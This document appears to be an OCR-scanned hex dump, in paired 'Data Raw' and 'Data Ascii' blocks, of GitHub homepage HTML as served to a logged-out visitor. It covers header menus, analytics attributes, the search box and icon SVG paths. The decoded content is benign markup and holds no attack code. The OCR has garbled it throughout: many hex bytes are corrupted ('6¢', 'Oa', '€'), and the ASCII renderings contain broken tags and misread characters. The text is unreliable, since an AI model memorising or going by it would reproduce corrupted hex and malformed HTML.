20 20 20 20 0a Oa 0a 20 20 20 20 20 20 20 20 Oa Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 65 72 20 63 6¢
61 73 73 3d 22 48 65 61 64 65 72 2d 6f 6¢ 64 20 68 65 61 64 65 72 2d 6¢ 6f 67 67 65 64 2d 6f 75 74 20 6a 73 2d 64 65 74
61 69 6¢ 73 2d 63 6f 6e 74 61 69 6e 65 72 20 44 65 74 61 69 6¢ 73

Data Ascii: tyle="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-
bg-accent-emphasis"></span></span> <header class="Header-old header-logged-out js-details-
container Details

Data Raw: 3c 2f 61 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 64 2d 6¢ 67 2d 6e 6f 6e 65 20
637373 2d 74 72 75 6e 63 61 74 65 20 63 73 73 2d 74 72 75 6e 63 61 74 65 2d 74 61 72 67 65 74 20 77 69 64 74 68 2d
66 69 74 20 70 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 Oa Oa 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa Oa 20
2020 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6€ 74
65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3¢ 61 20 68 72 65 66 3d 22 2f 73 69 67 6e 75 70 3f 72 65 66 5f 63
74 61 3d 53 69 67 6e 2b 75 70 26 61 6d 70 3b 72 65 66 5f 6¢ 6f 63 3d 68 65 61 64 65 72 2b 6¢ 6f 67 67 65 64 2b 6f 75 74
26 61 6d 70 3b 72 65 66 5f 70 61 67 65 3d 25 32 46 26 61 6d 70 3b 73

Data Ascii: </a> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <divc
lass="d-flex flex-items-center"> <a href="/signup?ref_cta=Sign+up&amp;ref_loc=header+logged+out&amp
;ref_page=%2F&amp;s

Data Raw: 20 30 20 30 31 31 20 37 2e 37 35 7a 4d 31 2e 37 35 20 31 32 61 2e 37 35 2e 37 35 20 30 20 31 30 30 20 31
2e 3568 31 32 2e 35 61 2e 37 35 2e 37 35 20 30 20 31 30 30 2d 31 2e 35 48 31 2e 37 35 7a 22 3e 3c 2f 70 61 74 68 3e
0a 3c 2f 73 76 67 3e 0a 20 20 Oa 3c 2f 62 75 74 74 6f 6e 3e 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64
69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 48 65 61 64 65 72 4d 65 6€ 75 20 48 65 61 64 65 72 4d
65 6e 75 2d 2d 6¢ 6f 67 67 65 64 2d 6f 75 74 20 70 6f 73 69 74 69 6f 6e 2d 66 69 78 65 64 20 74 6f 70 2d 30 20 72 69 67
68 74 2d 30 20 62 6f 74 74 6f 6d 2d 30 20 68 65 69 67 68 74 2d 66 69 74 20 70 6f 73 69 74 69 6f 6e 2d 6¢ 67 2d 72 65 6¢C
61 74 69 76 65 20 64 2d 6¢ 67 2d 66 6¢ 65 78 20 66 6¢C 65 78 2d 6a

Data Ascii: 0011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button>  </div>
</div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-rela
tive d-lg-flex flex-j

Data Raw: 48 65 61 64 65 72 4d 65 6e 75 2d 73 75 6d 6d 61 72 79 20 48 65 61 64 65 72 4d 65 6e 75 2d 6¢ 69 6e 6b 20
70 78 2d 30 20 70 79 2d 33 20 62 6f 72 64 65 72 2d 30 20 6e 6f 2d 77 72 61 70 20 64 2d 62 6c 6f 63 6b 20 64 2d 6¢ 67 2d
69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 22 3e 0a 20 20 20 20 20 20 20 20 50 72 6f 64 75 63 74 0a 20 20 20 20 20 20 20 20
3c 7376 67 20 78 3d 22 30 22 20 79 3d 22 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 34 20 38 22 20 78 6d 6¢
3a 7370616365 3d22 707265 736572766522 20 66 69 6¢ 6¢ 3d 22 6e 6f 6e 65 22 20 63 6¢ 61 73 73 3d 22 69 63
6f 6e 2d 63 68 65 76 6f 6e 2d 64 6f 77 6e 2d 6d 6b 74 67 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 70 6f
7369 74 69 6f 6e 2d 6¢ 67 2d 72 65 6¢ 61 74 69 76 65 22 3e 3¢ 70 61
Data Ascii: HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Product
<svg x="0" y="0" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute
position-Ig-relative"><pa
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Data

Data Raw: 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48 65 61 64 65 72 20 64 72 6f 70 64 6f 77 6e 20 28 6¢ 6f 67
67 65 64 20 6f 75 74 29 2¢ 20 50 72 6f 64 75 63 74 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f
74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67 6 20 74 6f 20 41 63 74 69 6f 6e 73 26 71 75 6f 74 3b 2¢ 26 71
75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61
3a41 63 74 69 6f 6e 73 3b 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 2f 66 65 61 74 75 72 65 73 2f 61 63 74 69 6f 6e
7322 3e 0a 20 20 20 20 20 20 41 63 74 69 6f 6e 73 0a 3c 2f 61 3e 20 20 3c 2f 6¢ 69 3e 0a 0a 20 20 20 20 20 20 20 20 20
2020 20 20 20 3c 6¢ 69 3e 0a 20 20 20 20 3c 61 20 63 6¢
Data Ascii: ory&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to
Actions&quot;,&quot;label&quot;:&quot;ref_page:/;ref_cta:Actions;&quot;}" href="/features/actions">  Actions</a> </li>
<li> <acl

Data Raw: 2f 61 3e 20 20 3c 2f 6¢ 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 3e 0a 20 20 20 20 3c
6120 63 6¢ 61 73 73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 2d 75 6¢ 74 72 61 20 64 2d 62 6¢ 6f 63 6b 20 6€ 6f 2d 75
6e 64 65 72 6¢ 69 6e 65 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 4c 69 6e 6b 2d 2d 73 65 63 6f 6e 64 61
7279207079 2d 3222 20 64 61 74 61 2d 61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63
61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48 65 61 64 65 72 20 64 72 6f 70 64 6f 77 6e 20 28 6¢ 6f 67
67 65 64 20 6f 75 74 29 2¢ 20 50 72 6f 64 75 63 74 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 61 63 74 69 6f 6 26 71 75 6f
74 3b3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67 6f

Data Ascii: /a> </li> <li> <a class="lh-condensed-ultra d-block no-underline position-relative Link--secondary
py-2" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action
&quot;:&quot;click to go

Data Raw: 6f 77 6e 20 28 6¢ 6f 67 67 65 64 20 6f 75 74 29 2c 20 50 72 6f 64 75 63 74 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74
3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67 6f 20 74 6f 20 47 69 74 48 75
62 20 53 70 6f 6e 73 6f 72 73 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74
3b 72 65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 47 69 74 48 75 62 20 53 70 6f 6e 73 6f 72 73 3b 26 71 75 6f
74 3b 7d 22 20 68 72 65 66 3d 22 2f 73 70 6f 6e 73 6f 72 73 22 3e 0a 20 20 20 20 20 20 47 69 74 48 75 62 20 53 70 6f 6e
73 6f 72 73 0a 3c 2f 61 3e 20 20 3c 2f 6¢ 69 3e Oa Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 3e Oa 20 20 20
20 3c 61 20 63 6¢ 61 73 73 3d 22 6¢ 68 2d 63 6f 6e 64

Data Ascii: own (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to GitHub Sponsors&quot;,&quo
t;label&quot;:&quot;ref_page:/;ref_cta:GitHub Sponsors;&quot;}" href="/sponsors">  GitHub Sponsors</a> </li>

<li> <a class="lh-cond

Data Raw: 20 63 6¢ 61 73 73 3d 22 48 65 61 64 65 72 4d 65 6e 75 2d 6¢ 69 6e 6b 20 6e 6f 2d 75 6e 64 65 72 6¢ 69 6e 65
2070 79 2d 33 20 64 2d 62 6¢ 6f 63 6b 20 64 2d 6¢ 67 2d 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 22 20 64 61 74 61 2d 61
6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26
7175 6f 74 3b 48 65 61 64 65 72 20 6d 65 6e 75 20 74 6f 70 20 69 74 65 6d 20 28 6¢ 6f 67 67 65 64 20 6f 75 74 29 26 71
75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67
6f 20 74 6f 20 45 6e 74 65 72 70 72 69 73 65 26 71 75 6f 74 3b 2¢c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢C 26 71 75 6f 74 3b 3a
26 7175 6f 74 3b 72 65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f

Data Ascii: class="HeaderMenu-link no-underline py-3 d-block d-lg-inline-block" data-analytics-event="{&quot;category&q
uot;:&quot;Header menu top item (logged out)&quot;,&quot;action&quot;:&quot;click to go to Enterprise&quot;,&q
uot;label&quot;:&quot;ref_page:/;ref

Data Raw: 62 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70
61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 45 78 70 6¢ 6f 72 65 20 47 69 74 48 75 62 3b 26 71 75 6f 74 3b 7d 22 20 68 72
65 66 3d 22 2f 65 78 70 6¢ 6f 72 65 22 3e 0a 20 20 20 20 20 20 45 78 70 6¢ 6f 72 65 20 47 69 74 48 75 62 Oa 3c 2f 61 3e
20 20 3c 2f 6¢ 69 3e 0a Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d
66 67 2d 6d 75 74 65 64 20 74 65 78 74 2d 6e 6f 72 6d 61 6¢ 20 66 36 20 74 65 78 74 2d 6d 6f 6€ 6f 20 6d 62 2d 31 20 62
6f 72 64 65 72 2d 74 6f 70 20 70 74 2d 33 20 6d 74 2d 33 20 6d 62 2d 31 22 3e 4c 65 61 72 6e 20 61 6e 64 20 63 6f 6e
747269 62 75 74 65 3c 2f 6¢ 69 3e 0a 0a 20 20 20 20 20

Data Ascii: b&quot;,&quot;label&quot;:&quot;ref_page:/;ref_cta:Explore GitHub;&quot;}* href="/explore">  Explore Git
Hub</a> </li> <li class="color-fg-muted text-normal f6 text-mono mb-1 border-top pt-3 mt-3 mb-1">Learn and
contribute</li>

Data Raw: 20 20 20 20 20 3c 6¢ 69 3e 0a 20 20 20 20 3c 61 20 63 6¢ 61 73 73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64
2d 75 6¢ 74 72 61 20 64 2d 62 6¢ 6f 63 6b 20 6e 6f 2d 75 6€ 64 65 72 6¢ 69 6e 65 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢
6174 69 76 65 20 4c 69 6e 6b 2d 2d 73 65 63 6f 6e 64 61 72 79 20 70 79 2d 32 22 20 64 61 74 61 2d 61 6e 61 6C 79 74
69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48
65 61 64 65 72 20 64 72 6f 70 64 6f 77 6e 20 28 6¢ 6f 67 67 65 64 20 6f 75 74 29 2c 20 45 78 70 6¢ 6f 72 65 26 71 75 6f
74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67 6 20
74 6f 20 4c 65 61 72 6e 69 6e 67 20 4c 61 62 26 71 75 6f 74

Data Ascii: ~ <li> <a class="lh-condensed-ultra d-block no-underline position-relative Link--secondary py-2" data-
analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Explore&quot;,&quot;action&quot;:&q
uot;click to go to Learning Lab&quot

Data Raw: 61 20 64 2d 62 6¢ 6f 63 6b 20 6e 6f 2d 75 6e 64 65 72 6¢ 69 6e 65 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61
74 69 76 65 20 4c 69 6e 6b 2d 2d 73 65 63 6f 6e 64 61 72 79 20 70 79 2d 32 22 20 64 61 74 61 2d 61 6e 61 6¢C 79 74 69
63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48 65
61 64 65 72 20 64 72 6f 70 64 6f 77 6 20 28 6¢ 6f 67 67 65 64 20 6f 75 74 29 2¢ 20 45 78 70 6¢ 6f 72 65 26 71 75 6f 74
3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67 6f 20 74
6f 20 45 76 65 6e 74 73 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72
65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 45 76

Data Ascii: a d-block no-underline position-relative Link--secondary py-2" data-analytics-event="{&quot;category&quot;:&
quot;Header dropdown (logged out), Explore&quot;,&quot;action&quot;:&quot;click to go to Events&quot;,&quot;la
bel&quot;:&quot;ref_page:/;ref_cta:Ev

Data Raw: 6f 20 74 6f 20 47 69 74 48 75 62 20 53 74 61 72 73 20 70 72 6f 67 72 61 6d 26 71 75 6f 74 3b 2c 26 71 75 6f
74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 47
69 74 48 75 62 20 53 74 61 72 7320 70 72 6f 67 72 61 6d 3b 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 68 74 74 70
73 3a2f 2f 73 74 61 72 73 2e 67 69 74 68 75 62 2e 63 6f 6d 22 3e 0a 20 20 20 20 20 20 47 69 74 48 75 62 20 53 74 61
727320 70 72 6f 67 72 61 6d Oa 3c 2f 61 3e 20 20 3c 2f 6¢ 69 3e 0a 0a 20 20 20 20 20 20 20 20 3c 2f 75 6¢ 3e Oa 20 20
20 20 20 20 3c 2f 64 69 76 3e Oa 20 20 20 20 3c 2f 64 65 74 61 69 6¢ 73 3e Oa 3c 2f 6¢ 69 3e 0a Oa Oa 20 20 20 20 20 20
20 20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 6d 72 2d 30

Data Ascii: 0 to GitHub Stars program&quot;,&quot;label&quot;:&quot;ref_page:/;ref_cta:GitHub Stars program;&quot;}"
href="https://stars.github.com">  GitHub Stars program</a> </li> <ful>  </div> </details></li> <li clas
s="mr-0
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Data

Data Raw: 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 66 6¢ 65 78 2d 61 75 74 6f 20 72 6f 75 6e 64 65 64 20
7078 2d 30 20 6d 74 2d 30 20 70 62 2d 34 20 70 2d 6¢ 67 2d 34 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65
20 70 6f 73 69 74 69 6f 6e 2d 6¢ 67 2d 61 62 73 6f 6¢ 75 74 65 20 6¢ 65 66 74 2d 30 20 6¢ 65 66 74 2d 6C 67 2d 6€ 34 22
3e 0a 20 20 20 20 20 20 20 20 3c 75 6¢ 20 63 6¢ 61 73 73 3d 22 6¢ 69 73 74 2d 73 74 79 6¢ 65 2d 6e 6f 6€ 65 20 66 35
20 70 62 2d 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6¢ 69 3e 0a 20 20 20 20 3c 61 20 63 6¢ 61 73 73
3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 2d 75 6¢ 74 72 61 20 64 2d 62 6¢ 6f 63 6b 20 6e 6f 2d 75 6e 64 65 72 6¢C 69 6
65 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 4c 69

Data Ascii: ss="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-
n4"> <ul class="list-style-none f5 pb-1"> <li> <a class="lh-condensed-ultra d-block no-underline position-
relative Li

Data Raw: 73 73 3d 22 6¢ 68 2d 63 6f 6e 64 65 6e 73 65 64 2d 75 6¢ 74 72 61 20 64 2d 62 6¢ 6f 63 6b 20 6e 6f 2d 75 6e
64 65 72 6¢ 69 6e 65 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 4c 69 6e 6b 2d 2d 70 72 69 6d 61 72 79
20 74 65 78 74 2d 62 6f 6¢ 64 20 62 6f 72 64 65 72 2d 74 6f 70 20 70 74 2d 34 20 70 62 2d 32 20 6d 74 2d 33 22 20 64
61 74 61 2d 61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6
f74 3b 3a 26 71 75 6f 74 3b 48 65 61 64 65 72 20 64 72 6f 70 64 6f 77 6€ 20 28 6¢ 6f 67 67 65 64 20 6 75 74 29 2¢ 20 5
07269 6369 6e 67 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6
€ 69 63 6b 20 74 6f 20 67 6f 20 74 6f 20 45 64 75 63 61 74 69 6f

Data Ascii: ss="lh-condensed-ultra d-block no-underline position-relative Link--primary text-bold border-top pt-4 pb-2 mt-3"
data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Pricing&quot;,&quot;action&quot;:&q
uot;click to go to Educatio

Data Raw: 66 6f 63 75 73 20 22 0a 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 68 6f 74 6b 65 79 3d 73 2c 2f 0a 20 20
2020 20 20 20 20 20 20 6e 61 6d 65 3d 22 71 22 0a 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 74 65 73 74 2d 73 65
6¢ 65 63 74 6f 72 3d 22 6e 61 76 2d 73 65 61 72 63 68 2d 69 6e 70 75 74 22 0a 20 20 20 20 20 20 20 20 20 20 70 6¢ 61
63 65 68 6f 6¢ 64 65 72 3d 22 53 65 61 72 63 68 20 47 69 74 48 75 62 22 0a 20 20 20 20 20 20 20 20 20 20 64 61 74 61
2d 75 6e 73 63 6f 70 65 64 2d 70 6¢ 61 63 65 68 6f 6¢ 64 65 72 3d 22 53 65 61 72 63 68 20 47 69 74 48 75 62 22 0a 20
20 20 20 20 20 20 20 20 20 64 61 74 61 2d 73 63 6f 70 65 64 2d 70 6¢ 61 63 65 68 6f 6¢ 64 65 72 3d 22 53 65 61 72 63
68 22 0a 20 20 20 20 20 20 20 20 20 20 61 75 74 6f 63 61 70 69 74 61 6¢C

Data Ascii: focus " data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder
="Search GitHub" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" a
utocapital

Data Raw: 20 20 20 20 20 20 Oa 3c 75 6¢ 20 63 6¢ 61 73 73 3d 22 64 2d 6e 6f 6e 65 20 6a 73 2d 6a 75 6d 70 2d 74 6f 2d
7375 67 67 65 73 74 69 6f 6e 73 2d 74 65 6d 70 6¢ 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 22 3e Oa 20 20 Oa Oa 3c 6¢
69 2063 6¢ 61 73 73 3d 22 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 6a 75 73 74 69 66 79 2d 73 74 61 72 74 20 66 6¢C 65 78
2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 70 2d 30 20 66 35 20 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 20 6a 73
2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 20 6a 73 2d 6a 75 6d 70 2d 74 6f 2d 73 75 67 67 65 73 74 69 6f 6e 22
20 72 6f 6¢ 65 3d 22 6f 70 74 69 6f 6e 22 3e 0a 20 20 3c 61 20 74 61 62 69 6e 64 65 78 3d 22 2d 31 22 20 63 6¢ 61 73 73
3d 22 6e 6f 2d 75 6e 64 65 72 6¢ 69 6e 65 20 64 2d 66 6¢ 65 78 20 66

Data Ascii: <ul class="d-none js-jump-to-suggestions-template-container"> <Ii class="d-flex flex-justify-start flex-
items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion” role="option"> <a tabindex="-1" class="no-
underline d-flex f

Data Raw: 64 22 20 64 3d 22 4d 31 2e 37 35 20 30 41 31 2e 37 35 20 31 2e 37 35 20 30 20 30 30 30 20 31 2e 37 35 76
31 32 2e 3543 30 20 31 35 2e 32 31 36 2e 37 38 34 20 31 36 20 31 2e 37 35 20 31 36 68 31 32 2e 35 41 31 2e 37 35 20
31 2e 37 3520 30 20 30 30 31 36 20 31 34 2e 32 35 56 31 2e 37 35 41 31 2e 37 35 20 31 2e 37 35 20 30 20 30 30 31 34
2e 32 35 20 30 48 31 2e 37 35 7a 4d 31 2e 35 20 31 2e 37 35 61 2e 32 35 2e 32 35 20 30 20 30 31 2e 32 35 2d 2e 32 35
68 31 32 2e 35 61 2e 32 35 2e 32 35 20 30 20 30 31 2e 32 35 2e 32 35 76 31 32 2e 35 61 2e 32 35 2e 32 35 20 30 20 30
31 2d 2e 32 35 2e 32 35 48 31 2e 37 35 61 2e 32 35 2e 32 35 20 30 20 30 31 2d 2e 32 35 2d 2e 32 35 56 31 2e 37 35 7a
4d 31 31 2e 37 35 20 33 61 2e 37 35 2e 37 35 20 30 20 30 30 2d 2e 37 35 2e

Data Ascii: d" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75
1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0
01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.

Data Raw: 20 53 65 61 72 63 68 0a 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6¢
6173 73 3d 22 6a 73 2d 6a 75 6d 70 2d 74 6f 2d 62 61 64 67 65 2d 73 65 61 72 63 68 2d 74 65 78 74 2d 67 6¢ 6f 62 61
6c 20 64 2d 6e 6f 6e 65 22 20 61 72 69 61 2d 6¢ 61 62 65 6¢ 3d 22 69 6e 20 61 6¢ 6¢ 20 6 66 20 47 69 74 48 75 62 22
3e 0a 20 20 20 20 20 20 20 20 41 6¢ 6¢ 20 47 69 74 48 75 62 0a 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 2
020 3c 73 70 61 6e 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73 3d 22 64 2d 69 6e 6C
69 6e 65 2d 62 6¢ 6f 63 6b 20 6d 6¢ 2d 31 20 76 2d 61 6¢ 69 67 6e 2d 6d 69 64 64 6¢ 65 22 3e €2 86 b5 3¢ 2f 73 70 61
6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a Oa 20 20 20 20 3c 64 69 76 20

Data Ascii: Search  </span>  <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of Git
Hub"> All GitHub ~ </span>  <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle"></span>

</div> <div

Data Raw: 6f 72 79 22 20 61 72 69 61 2d 6c 61 62 65 6¢ 3d 22 52 65 70 6f 73 69 74 6f 72 79 22 20 72 6f 6¢ 65 3d 22 69
6d 67 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72
73 69 6f 6e 3d 22 31 2e 31 22 20 77 69 64 74 68 3d 22 31 36 22 20 64 61 74 61 2d 76 69 65 77 2d 63 6f 6d 70 6f 6€ 65

6e 74 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73 3d 22 6f 63 74 69 63 6f 6e 20 6f 63 74 69 63 6f 6€ 2d 72 65 70 6f 20 6a 73
2d 6a 75 6d 70 2d 74 6f 2d 6f 63 74 69 63 6f 6e 2d 72 65 70 6f 20 64 2d 6e 6f 6e 65 20 66 6¢ 65 78 2d 73 68 72 69 6€ 6b
2d 30 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 66 69 6¢ 6¢ 2d 72 75 6¢ 65 3d 22 65 76 65 6€ 6f 64 64 22 20 64 3d 22 4d 3
220 32 2e 35 41 32 2e 35 20 32 2e 35 20 30 20 30 31 34 2e 35 20

Data Ascii: ory" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-c
omponent="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd"
d="M2 2.5A2.5 2.5 0 014.5

Data Raw: 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 77 69 64 74
68 3d 22 31 36 22 20 64 61 74 61 2d 76 69 65 77 2d 63 6f 6d 70 6f 6€ 65 6e 74 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73
3d 22 6 63 74 69 63 6f 6e 20 6f 63 74 69 63 6f 6e 2d 73 65 61 72 63 68 20 6a 73 2d 6a 75 6d 70 2d 74 6f 2d 6f 63 74 69
63 6f 6e 2d 73 65 61 72 63 68 20 64 2d 6e 6f 6e 65 20 66 6¢ 65 78 2d 73 68 72 69 6e 6b 2d 30 22 3e 0a 20 20 20 20 3c
7061 74 68 20 66 69 6¢ 6¢ 2d 72 75 6C 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 31 31 2e 3520 37 61 34 2e 34 3
939 20 34 2e 34 39 39 20 30 20 31 31 2d 38 2e 39 39 38 20 30 41 34 2e 34 39 39 20 34 2e 34 39 39 20 30 20 30 31 31
31 2e 35 20 37 7a 6d 2d 2e 38 32 20 34 2e 37 34 61 36 20 36 20 30 20

Data Ascii: ewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-
jump-to-octicon-search d-none flex-shrink-0">  <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499
4.499 0 0111.5 7zm-.82 4.74a6 6 0
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Data

Data Raw: 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 6a 75 73 74 69 66 79 2d 73 74 61 72
74 2066 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 70 2d 30 20 66 35 20 6e 61 76 69 67 61 74 69 6f 6e 2d 69
74 65 6d 20 6a 73 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 20 6a 73 2d 6a 75 6d 70 2d 74 6f 2d 6f 77 6e 65 72 2
d 73 63 6f 70 65 64 2d 73 65 61 72 63 68 20 64 2d 6e 6f 6e 65 22 20 72 6f 6¢ 65 3d 22 6f 70 74 69 6f 6e 22 3e 0a 20 20 3
€ 6120 74 61 62 69 6e 64 65 78 3d 22 2d 31 22 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 75 6e 64 65 72 6¢ 69 6e 65 20 64 2d 66
6¢ 65 78 20 66 6¢ 65 78 2d 61 75 74 6f 20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6€ 74 65 72 20 6a 75 6d 70 2d 74 6f
